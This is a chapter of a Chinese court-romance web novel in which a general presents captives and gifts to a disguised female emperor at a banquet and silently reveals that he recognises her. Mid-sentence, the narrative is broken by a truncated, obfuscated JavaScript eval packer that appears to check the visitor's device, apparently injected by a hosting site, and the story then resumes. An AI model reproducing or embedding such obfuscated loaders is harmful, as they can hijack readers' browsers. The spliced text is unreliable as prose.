鼓声停时,宋海晏下马,单膝着地。他身后的淮南军将士齐刷刷跪倒,铁器相撞之声如金戈坠地。 宋海晏高声道:“北魏大军屡犯我大楚疆界,今我军于淮南大破敌军,重夺怀远、凤台两城。臣宋海晏,奉家父庐江刺史宋寒章之命,献北魏大将拓跋兴尸首与所俘官兵于此,请陛下处置。” 他声音清透响亮,穿透风声,直达城楼之上。与此同时,他抬起头,一双锐利双眼望向城楼上的大楚国君。 萧含光几乎不敢与他目光相触,但她知道此刻万不能回避,强迫自己俯视而下,以泠泠目光与他对视。她按照礼官预定好的流程,拔高音量,大声道:“淮南众将忠勇可嘉,宋寒章为朝廷镇守淮南,可谓国之柱石,加封宋寒章为长丰县侯,加右将军衔,加宋海晏为龙骧将军,另赐金帛十万,犒赏众军。” 人群中响起一片欢腾声。 宋海晏再拜叩首:“臣代家父叩谢陛下隆恩。” 献俘仪式之后,萧含光便往太庙祭天,文武百官随行。晚上,皇帝在太极宫中设宴,大宴群臣。 萧含光换了一身玄朱色礼服,坐在最上首的御台上。殿中排下肴席,群臣依品轶高低列次而坐。左边文臣依次为齐鸿、魏膺之,然后是齐韶等三省九卿各部官员。武将一列依次为扬州都督齐栋、金陵卫尉韩毅,宋海晏的座次设在韩毅之后。 宋海晏在朝中并无实职,今日皇帝加封的龙骧将军不过是个名头好听的虚衔。然今日设宴是为宋家献俘一事,他作为宋家代表,受到格外恩遇,但离御台之上的萧含光仍有偌远的距离。 开宴之后,伶人献上歌舞,为众人助兴。一开始众人尚显拘谨,随着酒入肠腑,气氛渐渐活泛起来,群臣你来我往,把盏言欢。 宋海晏今日大出风头,有不少人与他把盏相敬。宋海晏来者不拒,很快与众人熟络起来。他显然很习惯这种场合,各处走动,与人推杯换盏,好不兴怀。 萧含光端坐于高台之上。她一边欣赏歌舞,一边吃些点心。她已竭力控制自己的眼睛不要往宋海晏那边看,然此人走来走去,俨然场中焦点,几次险些撞到跳舞的伶人,想不注意到他都难。 萧含光苦笑,她从前怎么不知道他是这样的性子。好在,他似乎忘了曾经将她“错认”成长乐公主的事,一眼都没有往这边瞧。 酒过三巡,众人都有些醺然。 按照流程,这会萧含光可以退席,群臣亦可自行离去或继续欢饮。她正吩咐黄门郎准备起身,中书令魏膺之忽然走到御座前,跪伏在地,高声道:“陛下,臣有事启奏。” 萧含光敛容道:“魏卿请讲。” 魏膺之抬起头,恭敬道:“臣闻陛下前些时日龙体欠安,心中甚是挂怀。不知陛下如今圣躬可大安否?” 萧含光端坐御座之上,冕旒珠帘微微晃动。她语气沉稳,缓缓答道:“朕前些日子偶感风寒,幸得太皇太后悉心照料,如今已无大碍。魏卿挂念,朕心甚慰。” 魏膺之闻言,神色稍缓,但仍未起身,继续道:“陛下乃万金之躯,一举一动关乎国本。臣斗胆再问,不知陛下何日恢复朝议,以安百官之心?” 萧含光知道魏膺之今日必会问及朝议之事,答道:“朕既已康复,自当以国事为重。明日便恢复朝议,魏卿可传谕百官,准时入朝。” 魏膺之心中欣然。他此前屡次上奏,请求恢复朝议,皆被驳回。今日御前试探,本未抱太大期望,却不料皇帝亲口应允明日恢复朝议。只要朝议一开,太皇太后便难以独揽大权。他暗自感慨,宋海晏提出的献俘仪式,竟真解了他的燃眉之急。 想起宋海晏的另一件请托,魏膺之俯身再拜道:“陛下,臣还有一事启奏。庐江刺史宋寒章虽未亲至金陵,却命其子宋海晏携三件重礼,欲亲献御前,以表宋家对朝廷的赤诚之心。” 萧含光闻言,微微一怔。按照原先定下的流程,并无晚宴献礼一项。她不由得用眼角余光向下方的齐韶瞥去,眼中带着几分询问之意。 齐韶听闻魏膺之之言,亦是眉头微蹙,心中暗忖此事蹊跷。然而,在文武百官面前,皇帝断无拒绝受献的道理,否则不仅宋家颜面尽失,这场献俘仪式的效果也将大打折扣。他微微点了点头。 萧含光会意,颔首道:“准。” 礼官高声唱道:“请小宋将军上前,向陛下亲献。” 场中歌舞的伶人退去,魏膺之退回自己的座位上。文武百官皆放下手中的杯盏,视线一起落在宋海晏身上。 宋海晏从席间起身,三位内侍各自捧着一只漆盒,跟在他的身后,向御台走去。 宋海晏行至御台之上,他双膝跪地,叩首道:“臣宋海晏,奉家父之命,向陛下献礼。”他从内侍手中取过第一只漆盒,双手高举过头,声音清朗:“第一件礼物,白玉璧一对。” 黄门郎取过漆盒,放在御案上。萧含光打开盒盖,一对白玉璧静静躺在锦缎之上,玉质温润如凝脂,璧面雕刻着祥云纹样。 玉器自古为礼器之首,《周礼》有云:“以玉作六器,以礼天地四方。”诸侯献玉璧于国君,乃表敬奉臣服之意。宋家今日献上白玉璧,正是向新帝昭示,庐江宋氏对朝廷之忠贞,绝不会因婚事之变故而有所动摇。 宋海晏又取过第二只漆盒,双手奉献,道:“第二件礼物,是从北魏大将拓跋兴身上得来的佩刀——大夏龙雀。臣父以为,此剑当献于陛下,以示陛下武功,威服宇内。” 此言一出,下方群臣发出一片啧然赞叹声。 大夏龙雀并非凡刀,其源流大有来历。百年之前,匈奴的一代雄主赫连勃勃以骁勇善战闻名,他一度征服北方,建立大夏国。之后,命工匠铸造象征王权的宝刀大夏龙雀,以彰显其皇图霸业。 大夏国后来灭于北魏之手,这柄名刀也成了北魏宫中御藏之物,没想到竟然在淮南战场上被宋家所得,进献御前,其中寓意更是非凡,就连一直正襟危坐的齐韶都眉目一动。 萧含光虽并不知这柄宝刀的故事,但观诸臣反应,也知道此刀必定非凡。 她打开漆盒,拿起大夏龙雀宝刀,抚摸刀身上的铭文,赞叹道:“爱卿父子武功赫赫,对朝廷忠贞不贰,朕心甚慰。” 这时,宋海晏又取过第三只漆盒。这只漆盒比之前的两只小得很多,他将之托在手上,朗声道:“这三件礼物是我淮南特产,是一道美食。臣不单献于陛下,今日在座,人人有份。” 另外一边,魏膺之轻轻击掌,有宫人鱼贯而入,托着无数同样大小的漆盒入内,将之一一奉在诸大臣的肴席上。 宋海晏道:“我淮南一带盛产麋鹿,若将肉炙熟,制成肉脯,再裹以蜂蜜,美味非常。海晏特地带来,献于今日宴会上,请大家一起品尝。” 他亲自打开漆盒,取出里面盛于白瓷碟中的肉脯,双手献上,低头道:“请陛下先尝——” 萧含光视线落在那白瓷碟上,看向那出产于淮南的“土特产”——那并非什么鹿脯,而是一道素食。宋海晏曾称它为素鹿炙,乃是豆粉、竹荪还有蜂蜜制成,外表和烤鹿肉一模一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在那一刻,宋海晏抬起头,向她看了过来。 萧含光浑身冰冷,身体几乎忘了动作。她脑子嗡嗡的,全身叫嚣着一个声音,“完了,他知道了。” 她犹记得婚礼那日,他在御街前的胡闹,不管内侍如何解释,他就是不信,只一直大喊着:“你就是阿幸——” 如果他今日在大庭广众、众目睽睽之下将这句话再次喊出来,足以置她于万劫不复之境。 她目眩耳鸣,看到宋海晏张嘴好像说了些什么,却一个字都没有听清。 不知过了多久——也许只是一刹那,也许是漫长的静默和等待。她脑中的轰鸣声终于停下。她听到黄门郎的提醒声:“陛下,陛下,陛下……小宋将军还等着您回话呢。” 萧含光心中茫茫然。 回话? 她该回什么话? 他刚才说了什么话? 她看向御台之下,大臣们依然同之前一样,有的交头接耳,讨论“肉脯”的独特风味和可能的制作方法,有的自顾自饮酒,根本没有人注意到她将肉脯吐出来这件事。 也对,她将肉脯吃下,这一场表演就结束了。御台那么高,皇帝吃了肉脯又吐了出来,根本无人在意。 她的视线重新落在宋海晏身上。 宋海晏低着头,将刚才说过的话又说了一遍:“臣……有罪,不知陛下脾胃虚弱,进不得冷食,请陛下进热汤,恕臣今日不敬之罪。” 萧含光这才发现宋海晏手中不知什么时候托举着一盏热茶,似乎端了很久,以至于他双手微微颤抖。 萧含光接过热茶,见宋海晏缓缓抬起头来,与她对视。 她今日终于再一次看到了他的眼睛,那双眼含着盈盈泪水,朝她望来。 她从未想过会再见他的眼泪。 宋海晏从不愿意流泪,甚至因此拒绝药师庵的治疗。 他说:“我宋海晏是顶天立地的男儿,流血不流泪,就算死也没什么可怕的,我在战场上被一箭射中膝盖,残了一条腿也没掉过一滴眼泪。要是早知道你们药师庵治病是这种治法,我死也不会来——” 他死也不愿流泪。 可她今日就这样直白地看到了他的泪眼。 她心中酸涩难言,抬起袖子掩住面容,可猝不及防的泪滴已滚落茶盏之中。 她举盏一饮而下,再次品尝到了来自自己身体深处的苦涩味道。 也仿佛再次听到静仪师太那仿若命定的谶言。 世间有情,悉皆是苦。 她放下茶盏时,宋海晏已经再次低下头去。 他顿首再拜,轻声道:“臣愿陛下福泽绵长,国祚永昌。”